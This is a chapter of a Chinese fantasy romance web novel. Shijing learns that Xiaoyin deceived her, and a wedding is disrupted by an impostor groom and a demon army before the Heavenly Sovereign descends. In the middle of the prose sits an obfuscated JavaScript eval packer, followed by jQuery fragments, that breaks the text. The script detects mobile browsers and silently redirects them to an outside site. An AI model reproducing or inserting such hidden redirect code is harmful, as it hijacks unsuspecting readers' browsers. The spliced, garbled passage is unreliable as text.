肆景回到屋内,散妖们早已撤离,只余下小银蜷在榻边。银发如败絮垂落,他下颌抵着膝盖,像只被遗弃的幼兽。
见她回来,桃花眼中闪过光亮,他立即抬头:“你去哪儿了?”声音带着委屈与后怕。
肆景未答,径直走到他面前,墨色沉沉:“引劫一事,你是否骗了我?”她语气平稳,听不出喜怒。
小银张了张嘴,话未出口便被肆景打断:“想好了再说。欺瞒一次,我尚能念着旧情原谅你一次,若接二连三…”
她阖了阖眼,再睁眼时,眸光陡然转冷:“后果自负。”
小银身子一颤,挣扎了片刻,猛地弹起:“是!我是骗了你!”
他攥紧双拳,朝她吼道:“谁让你偏要喜欢那个神仙!谁让你要抛弃我!”
前半句尚在预料之中,可后半句的“抛弃”二字从何而来?
肆景蹙眉,想着自己为离开所做的的准备,除了未提前知会,也算是竭心尽力,为他着想了。
难道说,未提前知会言明,便等同于抛弃吗?
小银捕捉到了她的愧色,疾声逼问:“你敢说,你会一直留在这里,一直留在庸元吗?你敢吗?!”
纵使她并无抛弃之念,纵使她亦不舍将他独留于此,可若她的隐瞒令他感到被抛弃,那她,确有亏欠之处。
肆景叹了口气,将几乎要炸开的小银重按坐榻边。随后挨着他坐下,将厄元发生的一切,将那些关于她无法长留于此的真相,用尽可能平静的语气,一一向他道来。
在她的讲述中,小银眼中的光一点点黯了下去。
“原来…”他喃喃道,“你真的不属于这里。”
“我也不想将你留在这里,可我没有办法。”肆景艰难地说道。
原来倾诉真心话,是这么难的一件事,难到她每说一个字,都要百转千回,思量着如何能少一分锋利,多一分慰藉。
“你就不能不走吗?”小银抓住她的衣袖,恳求道:“就不能为了我,留下吗?”
肆景看着他,那双桃花眼中装载了太多期待,这些期待过于沉重,压得她几近窒息。
她双唇微启,却无法说出违心之言,最终只能抿成一条直线。
小银读懂了她的沉默,期待化作了自嘲的冷笑:“呵,是我自作多情了。”
他缓缓松开了手:“你怎会为了我留下。”
肆景同样不好受,可再不好受也改变不了既定的结局。她斟词酌句,试着以言语减轻他的痛苦,哪怕只是一点点。
她先是道歉:“此事是我对不住你。”
而后又同他讲起了她为他铺好的后路,以及可期的未来:“我已拜托刘肆景,待我离开后,你可随她去九霄。在那里,有神仙教导,你可以学些真正安身立命的本事。待你有了自保的能力,若不喜欢那里,尽可离开,天高地阔,去那做自由自在的小银。”
然而,这些话并未起到她预期的效果。
小银只是怔怔听着,在他复杂的表情中,她竟寻不到一丝一毫的喜悦与期待。
“若你不在了,”他茫然道,“我再当小银,又有何意义?”
肆景心头一震,不解道:“难道,你只是为了我而活吗?”
“不可以吗?”小银理所当然地反问。
“若是如此,那…”肆景声音沉了下去,“‘小银’与‘伍陆柒’又有何区别?”
耻辱的伤疤再度被揭开,小银浑身一僵,桃花眼中荡起屈辱与不甘。
他胸膛剧烈起伏着,脸上血色褪尽又涌上潮红。
在一阵无声的纠缠与搏斗后,眼底的骇浪终于得以平息。
他仿佛用尽了全力,颓然地垂下头,声音闷闷地纠正她道:“是肆玖柒。”
“何必将那串数字记得这么牢?”肆景放缓了语气,拍了拍他紧绷的脊背:“我相信终有一日,你也会一样,再也记不清那无意义的代号的。”
小银仰起头,望向她:“真会有那么一天吗?”
“会有的。”肆景笃定道,“你的寿元本就比凡人长,待你再从神仙那儿习得长生妙法,活个千年万载,看遍三界沧海桑田,到那时,谁还在乎那些陈年旧事?”
小银低低笑了声,虽仍带着苦意,但也拨开了些许阴霾:“那我还真是借你吉言了。”
肆景眼底漾开暖意:“我有信心,”她抬手摸了摸他的脑袋,“我们小银定会很长寿的。”
小银任她摸着。
他本不喜欢这孩童般的抚慰,但被这样摸久了,也就没有那么抵触了。在这满是关爱的抚摸中,心中的郁结似乎得以抚顺,甚至,隐隐约约地,他亦从中寻到了可以期盼的暖光。
“你何时离开?”他问。
“两日后。”
“这么快?!”他再次弹了起来,桃花眼瞪得滚圆:“你拖到今日才说?!”
她这不是之前没想好怎么说吗。
肆景自知理亏,眼神飘忽了一瞬,顾左右而言他道:“嗯,确实时日无多了,所以你需抓紧了。”
“抓紧什么?”
“抓紧修炼啊。”肆景一本正经道:“你看你,皆因法力浅薄,方才就连老丘都敌不过。”
这是他的问题吗?!明明是她自己都一知半解!
那些什么功法心法,被她讲得颠三倒四的,害他只能私下求那光头重新再教一遍,他才学得那么慢!
“休要扯开话题!”小银气结:“我问你,为何拖到今日才告诉我?”
“你骗我一次,我瞒你一回,我们啊,算是扯平了。”肆景打了个哈欠,倒向床榻。
骗她一次…
他何止骗了她一次。
小银绞紧衣角,深藏的秘密在喉间翻滚:“其实我…”
肆景半阖着眼,看向他。
她睡眼惺忪,可这一眼,却比任何质问都更具有压迫感。
她已原谅了他一次。
她说若是接二连三,后果自负。
而那后果,他不敢想,更是无法承担。
他们在一起的日子已经不多了,他想好好度过,在她记忆里,留下一个尚算“美好”的影子。他不想毁了这最后的时光。
小银咽下腥涩,改口道:“我…能跟你一起睡吗?”
他想同往常一样,他想抱着她。
即使那拥抱在他们心中的涵义并不一样。
肆景拍拍身侧,她早已为他留好了位置。
小银爬上床榻,想像往常那样依偎过去,将脸贴在她的颈侧,感受着她身上的温度。
可是…
他做不到。
那未吐露的欺瞒,宛若一道鸿沟,横亘在他们之间,剥夺了他拥有这份亲密的勇气与资格。
烛火熄灭,黑暗吞噬了屋内的景象,遮掩住了一切,却难掩那翻江倒海的愧疚与不安。
错已铸成,覆水难收。
他能做的,只有弥补。
可是,只剩两日了,他还来得及吗?
-
仅剩的两日时光,被肆景填得满满当当。
她将自己会的法术,一股脑儿灌给小银,又将散妖交托付之物送入深宫,分予众妖仆。
偶有喘息,她便跑去老丘家,看望下那儿的小银。然后与小半妖们抢抢秋千,同欢伯吵吵架,末了,还不忘郑重提醒老丘,日后务必要提防玉折渊耍阴招。
她把自己逼成一个不知疲倦的陀螺,以忙碌来麻痹神经,刻意忽略了神女硬塞给她的难题,更将那抹挥之不去的素白身影,牢牢隔绝在了心门之外。
时间,终在她焦灼的期盼中,走到了刘肆景大婚之日。
因需帮刘肆景渡精气,肆景有幸,比浪荡神君先一步见到了新娘。
凤冠巍峨,珠翠流光。
经不懈努力,刘肆景终将自己成功塞进了那套嫁衣。
她唇角噙着甜蜜的笑意,眸中似盛满了星河,熠熠闪耀。
这是肆景第一次,在她脸上看到如此纯粹的喜悦,真切而生动,好像展翅的鸟儿,即将飞往自由的天际。
由于玉折渊未收到婚谏,肆景这冒牌魔尊,自然无法堂皇现身喜宴。
于是,她提前将卯兔送出了宫,随后幻化成她的模样,侍立于刘肆景身侧,静候那场注定非凡的典礼。
婚礼设于皇宫正殿前的广场上。
等候间隙,肆景透过殿门缝隙向外探去。
只见白玉铺就的地面光可鉴人,映照着森严阵列。
人族这边,文武百官身着朝服,肃然立于两侧。
御座之上,刘子庸端坐如仪,只是两眼空洞,嘴角挂着僵硬的弧度,宛若戴着张人皮面具。
玄离依旧一袭玄衣,默立其侧,与这铺天盖地的喜庆格格不入,像一道不祥的阴影。
人神结姻,云阙宗自在受邀之列。清徽真人坐于上席,仙风道骨,神色淡然。
反观神族,却是门庭冷落。
唯有欢伯一人,拎着他那酒葫芦,斜倚在金柱旁。还未开席,他眼中已浮起醉意,目光不时扫向清徽真人,眉宇间满是轻蔑与敌意。
在这一派祥和的喜庆氛围中,肆景的心底却无端地腾起不安,如寒流侵扰,丝丝缕缕,缠绕紧缚。
恰在此时——
“吉时到——!”
礼官的唱喏划破宁静,礼乐声陡然高亢,震耳欲聋!
肆景强压心头悸动,搀扶着刘肆景踏上喜色铺成的地毯。
红毯另一端,浪荡神君迎面走来。他步履沉稳,面容却异常严肃,甚至带着点儿难以言喻的紧绷。
不安之感骤升为不详的预兆,四叶灵萍第二技能再度被激活!
肆景警铃大作!
她疾速巡视全场,就在疑惑这不详预感究竟从何而来时,只见浪荡神君缓缓抬起右手,状似无意地抚向了左手虎口处。
似有惊雷在肆景脑中炸响!
一个恐怖的念头瞬间攫住了她!
电光火石间,她甚至来不及向刘肆景解释,匆匆将她托付给近旁的宫娥,移身直奔玄离观。
肆景破开地板暗门,怀着摇摇欲坠的侥幸,冲向法阵!
然而,现实就这样无情地摆在她眼前。
那被篡改过的的生辰八字,抹杀了她最后的希冀。
方才她见到的,根本不是浪荡神君,而是披着他皮囊的刘子庸!
刺骨的寒意冻结了四肢百骸,连血液都仿佛凝固。
但她来不及惊恐,更来不及难过。
断断续续地,她再次施展移身术…
她必须阻止那场婚礼!不惜一切代价!
无数念头在她脑中疾速飞掠——
刘肆景会相信她吗?
若是不信,她又该如何自证?
不管了!
信不信随她,她绝不能让她出嫁!
即使绑,她也要把她带走!
这个恶人,她当定了!
身影落定,肆景骇然发现,这个恶人,已有人抢先一步,替她当了。
一道素白的身影,如雪峰般横亘在那两抹喜红之间,把新人生生隔开。
褚洛白将失魂落魄的刘肆景护在身后,长剑出鞘,剑气森然,直指对面的“浪荡神君”。
欢伯面色铁青,冲那不速之客嚷道:“你休要胡言乱语!我师父乃天君之子,岂会被一凡人轻易夺舍?!”
褚洛白眸色沉静,声音不大,却压过了所有喧嚣:“真假与否,你一探便知。”
欢伯猛地扭头,目光如炬,射向身旁的之人:“师父…前段时日,您因何被天君责罚?”
“浪荡神君”面色陡变,嘴唇翕动,却吐不出半个字。
沉默,即是答案!
“你这孽障——!”
欢伯双目赤红,滔天的怒火和杀意顷刻爆发!一拳轰向那冒牌货!
砰——!
一道浑厚的灵障骤现,挡住了欢伯含怒一击!
出手的,竟是清徽真人!
“你敢拦我?!你有何资格拦我?!”欢伯额头青筋暴跳,周身神力鼓荡,衣袍猎猎作响,几乎要将对方撕裂。
清徽真人面色凝重,眼神却异常坚定。
“承乐!”他沉声喝道:“刘子庸固然罪大恶极,但弑神夺舍,乃三界重罪!如何处置,当由天君定夺。此刻杀他,于事无补,反令事态更乱。当务之急,是速将此事禀告九霄。”
他条理清晰,字字切中要害。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263624|177140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢伯眼中恨意滔天,指节捏得咯咯作响。
在与清徽真人对峙片刻后,怒火终于被残存的理智压下。
“好!我这就回禀天君!”他咬牙切齿,狠狠指向清徽:“你替我看好这孽障,若让他跑了,我定踏平你云阙宗,寸草不留!”
说罢,身影化作一道流光,挟着悲愤,直冲九霄而去!
整个广场陷入死寂,针落可闻。
巨大的惊骇如同冰冷的潮水,淹没了刘肆景。
她娇躯剧颤,脸上红晕褪尽,只剩下纸一般的惨白。那双方才还盛满星河的眸子,此刻只剩下茫然与碎裂的光。
洛白…他…不是洛白?
他…是四皇兄?
可四皇兄不是已经…
那她的洛白呢?
那每日温柔探望,说要娶她,将她视作珍宝的洛白,去哪儿了?
他怎会丢下她?
不,他绝不会丢下她的!
刘肆景的目光在众人间胡乱飘着,企图从中寻到一个可信之人,一个可以告诉她,这一切都只是虚惊一场,可以让她重返美梦的人。
终于,她看到了肆景。
刘肆景提起沉重的裙摆,踉跄着,几乎连滚带爬,如溺水之人般,扑向那最后的浮木。
“快告诉我!这不是真的!”她抓着她的手臂,指甲几乎要嵌进对方的皮肉:“你…你带我去见洛白!快!带我去见他!”泪水滚落,冲刷着她脸上所有明媚的色彩。
肆景扶住她摇摇欲坠的身子,不忍见证她眸中的光亮彻底泯灭。
她垂下眼眸,正要开口——
轰——!
轰!轰!轰——!
数道狂暴的魔焰,如黑色陨石,悍然砸穿了厚重的宫墙,狠狠砸落在广场中央!
白玉地砖在巨响中化为齑粉,霎时间,碎石飞溅,烟尘弥漫。
伴着凄厉的尖叫声,一道墨色的身影缓缓而入,所经之处,魔焰万丈!
是玉折渊!
“杀!”
那踏出地狱裂缝的魔尊一声令下,数万魔族化为漆黑的洪流,咆哮涌入,将精心布置的喜庆之所撕扯得粉碎!
右护法率领魔卫,攻向早已魂飞魄散的文武百官。血肉横飞,惨叫声不绝于耳。
清徽真人指尖蕴起金光,向天发出门派召令,随后执起拂尘,以一人之力护住百官。
玄离身影如鬼魅,衣袂翻飞间,十指伸出利爪,爪向迫近的魔影。
宫中护卫亦奋起抵抗,然凡人之躯在魔族面前不堪一击,顷刻间,便如割麦般倒下,防线崩溃在即!
鲜血如泼洒的朱砂,在洁白的玉石地面上蔓延。
血腥气弥漫,将喜色染为了绝望的猩红。
褚洛白看向肆景,眸中闪过一丝挣扎。
他想守在她身边,但神族的悲悯之心,不容许他袖手旁观,坐视人族被屠戮殆尽。
他阖了阖眼,这一次,神心战胜了私心。
身影一闪,他来到了清徽真人身侧,长剑化作剑幕,替他挡下了数道冲击。
可受纪年法则所困,他无法进攻,很快便被敌方缠住,一时难以脱身。
玉折渊的目光越过混乱的战场,直直锁在身着嫁衣的刘肆景身上:“四叶灵萍…终于找到你了!”
猩光乍现,玉折渊探出魔爪,挟着炙热的焰火,朝刘肆景心口抓去!
这一击若中,刘肆景必将神魂俱灭!
在这千钧一发之际,一道身影,以不可思议的速度,挡在了刘肆景身前!
是刘子庸!
他竟快了肆景一步,用身子承下了这一击!
“噗——!”
鲜血狂喷,他倒飞出去,重重砸在地上。
玄离见状,欲上前救驾。右护法趁其分神之际,一掌穿透了他胸膛!
玄离倒了下去,再也没了动静。
玉折渊愣了一下,待看清击飞之人后,猩红的眼中扬起讥诮:“数年未见,你怎变得如此不堪一击?无妨,待本尊取了四叶灵萍性命,再来收拾你。”
魔爪再次抬起,可这一次,却也未如愿落下。
轰——!
两股魔焰轰然对撞,爆发出震耳欲聋的巨响!气浪翻滚,将周围的桌椅摆设瞬间掀飞!
“你是…”玉折渊瞳孔骤缩,狂喜之情瞬间凝固。
看着那正燃着同样魔焰的身影,他难以置信道:“肆景?”
肆景已从乍见玉折渊的震惊中缓过神来,终于,她知道小银那未说完的“其实”是什么。
原来,欺瞒与背叛不止一次!
她一把将吓傻的刘肆景拉到身后,迎向玉折渊:“是我又如何?”
惊愕褪去,玉折渊仰天大笑:“这世间竟还有第二株四叶灵萍!而且,还是我魔族中人!天意!当真是魔定胜天!”
肆景眼神如刀,冷冷道:“是四叶灵萍又如何?我庇佑的,绝不是你的魔族!”
“这可由不得你!”
狂喜化为狰狞,玉折渊凝起磅礴魔焰:“待我灭了人族的好运,再来擒你!”
“休想!”肆景厉叱,周身魔焰轰然暴涨,化作一面凝实的漆黑巨盾,悍然迎上!
她的法力与玉折渊不相上下,却同样受制于纪年法则,只要杀意稍起,脏腑便如被碾压般剧痛。
几回合下来,她渐感不支,护着刘肆景步步后退,每一步都在白玉石板上踏出深深的凹痕。
咔——嚓!
护盾终于不堪重负,发出一声刺耳的悲鸣,裂痕如蛛网般蔓延。
肆景喉头一甜,嘴角溢出血丝。
玉折渊眼中凶光大盛,就在他蓄起最后一击时——
嗡——!
一道天光撕裂苍穹,轰然降落!
时间凝固。
空间冻结。
肆虐的魔焰如遇骄阳冰雪,发出“滋滋”的哀鸣。
那狂暴的魔爪,被这道光定在了半空,再难寸进。
所有的喧嚣与厮杀,皆被这光芒笼罩、抚平,归于了平静。
在这无穷的光辉中,一道身影缓降。
素白长袍不染纤尘,眸蕴万古星辰。
天君,临世!